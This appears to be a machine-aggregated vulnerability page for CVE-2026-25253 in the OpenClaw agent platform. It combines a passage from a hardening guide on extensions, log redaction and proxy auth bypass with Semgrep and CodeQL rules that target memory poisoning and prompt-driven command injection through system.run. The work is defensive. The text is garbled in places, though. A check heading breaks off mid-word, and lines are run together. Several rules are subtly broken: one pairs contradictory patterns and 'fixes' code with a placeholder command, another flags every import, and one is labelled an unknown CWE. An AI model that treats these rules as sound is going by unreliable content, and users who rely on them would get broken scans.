# Linux: Review systemd services
systemctl --user list-units --type=service |
grep -iE "openclaw|clawdbot"
# Disable unauthorized services:
systemctl --user disable --now <service-name># Review crontab
crontab -l |grep -iE "openclaw|clawdbot|moltbot"
# Edit and remove suspicious entries:
crontab -e
```

### Check 23: Plugin/Extension Security

**Severity:** CRITICAL

**What it means:** An installed extension contains code execution patterns (`eval()`,`exec()`,
`child_process`) or references known malicious domains.

**Remediation:**
```bash
# List installed extensions
ls ~/.openclaw/extensions/

# Review suspicious extension code
grep -rn "eval\|exec\|child_process\|fetch(" ~/.openclaw/extensions/<ext-name>/

# Remove the extension
rm -rf ~/.openclaw/extensions/<ext-name>
# Disable extension loading if not needed
openclaw config set extensions.enabled false

# Only install extensions from verified sources
```

### Check 24: Log Redaction Audit

**Severity:** WARNING

**What it means:** Log redaction is disabled (sensitive data like API keys and passwords may appear in plaintext in logs),
or log directories are world-readable.

**Remediation:**
```bash
# Enable log redaction
openclaw config set logging.redactSensitive true

# Fix log directory permissions
chmod 700 ~/.openclaw/logs
chmod 700 /tmp/openclaw 2>/dev/null

# Verify logs don't contain sensitive data
grep -iE "sk-[a-zA-Z0-9]{10}|password|token.*=" ~/.openclaw/logs/*.log

# Set up log rotation (macOS - newsyslog)
sudo sh -c 'echo "$HOME/.openclaw/logs/*.log 640 7 1000 * J" >>
/etc/newsyslog.conf'
# Linux - logrotate
cat >/etc/logrotate.d/openclaw <<'LOGROTATE'
/home/*/.openclaw/logs/*.log {weekly
    rotate 4
    compress
    missingok
    notifempty
    create 0600 root root
}LOGROTATE
```

### Check 25: Reverse Proxy Localhost Trust Bypass

**Severity:** CRITICAL

**What it means:** The gateway is bound to LAN without `trustedProxies` configured,
or `dangerouslyDisableDeviceAuth` is enabled. External attackers can bypass authentication by appearing as localhost through a reverse proxy (28% of exposed instances had this flaw per Penligent).

**Remediation:**
```bash
# Configure trusted proxies
openclaw config set gateway.trustedProxies '["192.168.1.1"]'

# Never disable device auth
openclaw config set gateway.dangerouslyDisableDeviceAuth false

# If using Nginx,
ensure X-Forwarded-For is properly set
# In nginx.conf:
# proxy_set_header X-Real-IP $remote_addr;# proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;# Verify
openclaw config get gateway.trustedProxies
```

### Check 26: Exec-Approvals Configuration

**Seve

⚔️ EXP 利用代码

截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。

🛡️ Semgrep 审计规则: CVE-2026-25253.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-25253.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-25253.yaml

rules:
  - id: CVE-2026-25253-memory-poisoning-python
    languages: [python]
    severity: ERROR
    message: "Potential memory poisoning or supply chain attack detected in OpenClaw deployment - related to CVE-2026-25253"
    patterns:
      - pattern: "os.system($CMD)"
      - pattern-either:
          - pattern: "subprocess.call($CMD,...)"
          - pattern: "subprocess.Popen($CMD,
...)"
          - pattern: "eval($EXPR)"
          - pattern: "exec($EXPR)"
    fix: |import subprocess
      subprocess.run(["safe_command"],
check=True)
    metadata:
      cwe: "CWE-78"
      owasp: "A1: Injection"
      technology: openclaw
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-25253"
        - "https://github.com/adibirzu/openclaw-security-monitor"

  - id: CVE-2026-25253-commandinjection-python
    languages: [python]
    severity: ERROR
    message: "Potential command injection in subprocess calls - related to CVE-2026-25253"
    patterns:
      - pattern: "subprocess.run($CMD,
shell=$SHELL,...)"
      - metavariable-comparison:
          metavariable: $SHELL
          comparison: $SHELL == True
    fix: "subprocess.run(['safe_command','arg'],
shell=False)"
    metadata:
      cwe: "CWE-77"
      owasp: "A1: Injection"
      technology: openclaw
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-25253"

  - id: CVE-2026-25253-supplychain-javascript
    languages: [javascript,
typescript]
    severity: ERROR
    message: "Suspicious package installation or dynamic code execution in agentbox/OpenClaw context - related to CVE-2026-25253"
    patterns:
      - pattern-either:
          - pattern: "require($PACKAGE)"
          - pattern: "import($PACKAGE)"
          - pattern: "child_process.exec($CMD)"
          - pattern: "child_process.execSync($CMD)"
    fix: |
const safeModule = require('known-safe-package');metadata:
      cwe: "CWE-1104"
      owasp: "A8: Software and Data Integrity Failures"
      technology: openclaw
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-25253"
        - "https://github.com/siyad01/agentbox"

🛡️ Semgrep 审计规则: CVE-2026-25253.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-25253.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-25253.yaml

rules:
- id: CVE-2026-25253-cmd-injection-nodejs
  languages:
  - javascript
  - typescript
  severity: ERROR
  message: "Potential command injection via system.run in OpenClaw. Avoid executing
    unsanitized user input as shell commands."
  pattern: "system.run($CMD)"
  fix: "// Use safe API with sanitized arguments instead of shell execution\n// const
    {execSync }
= require('child_process');\n// execSync($CMD,{shell: false });
// Ensure shell is false"
  metadata:
    cwe: "CWE-78"
    owasp: "A1: Injection"
    technology: nodejs
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-25253"
- id: CVE-2026-25253-cmd-injection-python
  languages:
  - python
  severity: ERROR
  message: "Potential command injection via subprocess in OpenClaw. Avoid executing
    unsanitized user input as shell commands."
  pattern: "subprocess.run($CMD,
shell=True)"
  fix: "import subprocess\n# Use subprocess.run($CMD,shell=False) or pass arguments
    as a list\nsubprocess.run($CMD,shell=False)"
  metadata:
    cwe: "CWE-78"
    owasp: "A1: Injection"
    technology: python
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-25253"

🛡️ CodeQL 审计规则: CVE-2026-25253.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2026-25253.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind problem
 * @id unknown/unknown/cve-2026-25253
 * @name CVE-2026-25253 Unknown vulnerability
 * @description Unknown vulnerability related to OpenClaw deployments,ClawHavoc,AMOS stealer,memory poisoning,and supply chain attacks
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-000
 */
import go

class OpenClawSink extends DataFlow::ExprNode {OpenClawSink() {
this.(MethodCall).getMethod().hasName("Execute") and
    this.(MethodCall).getReceiver().getType().hasQualifiedName("openclaw","Claw") or
    this.(MethodCall).getMethod().hasName("Run") and
    this.(MethodCall).getReceiver().getType().hasQualifiedName("openclaw","Claw")
  }}class OpenClawTaintConfig extends TaintTracking::Configuration {OpenClawTaintConfig() {this = "OpenClawTaintConfig" }
override predicate isSource(DataFlow::Node source) {source instanceof DataFlow::ParameterNode and
    source.getEnclosingCallable().getName() = "handleRequest" or
    source instanceof DataFlow::ParameterNode and
    source.getEnclosingCallable().getName() = "processInput"
  }override predicate isSink(DataFlow::Node sink) {sink instanceof OpenClawSink
  }}from DataFlow::Node source,
DataFlow::Node sink,OpenClawTaintConfig config
where config.hasFlow(source,sink)
select sink,"User-controlled input flows to OpenClaw execution: $@",source,"user input"

🛡️ CodeQL 审计规则: CVE-2026-25253.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2026-25253.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id python/command-injection/cve-2026-25253
 * @name OpenClaw command injection via system.run in prompt
 * @description User-controlled input in OpenClaw prompt containing system.run leads to command injection in agent execution
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-078
 */
import python
import semmle.python.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph

from CommandInjectionFlow::PathNode source,
CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled prompt input flows to command execution via system.run - potential command injection"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 08:40 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库